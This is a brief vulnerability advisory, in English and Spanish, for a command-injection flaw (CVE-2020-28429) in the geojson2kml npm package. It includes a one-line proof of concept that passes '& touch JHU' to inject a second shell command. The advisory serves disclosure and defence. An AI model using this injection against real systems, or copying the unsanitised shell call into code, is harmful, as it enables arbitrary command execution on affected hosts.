CVE-2020-28429

All versions up to and including version 0.1.1 of package geojson2kml are vulnerable to Command Injection via the index.js file. ### PoC: ```js var a =require("geojson2kml"); a("./","& touch JHU",function(){}) ```

Todas las versiones del paquete geojson2kml son vulnerables a una Inyección de Comando por medio del archivo index.js. PoC: var a =require("geojson2kml"); a("./","& touch JHU", función(){})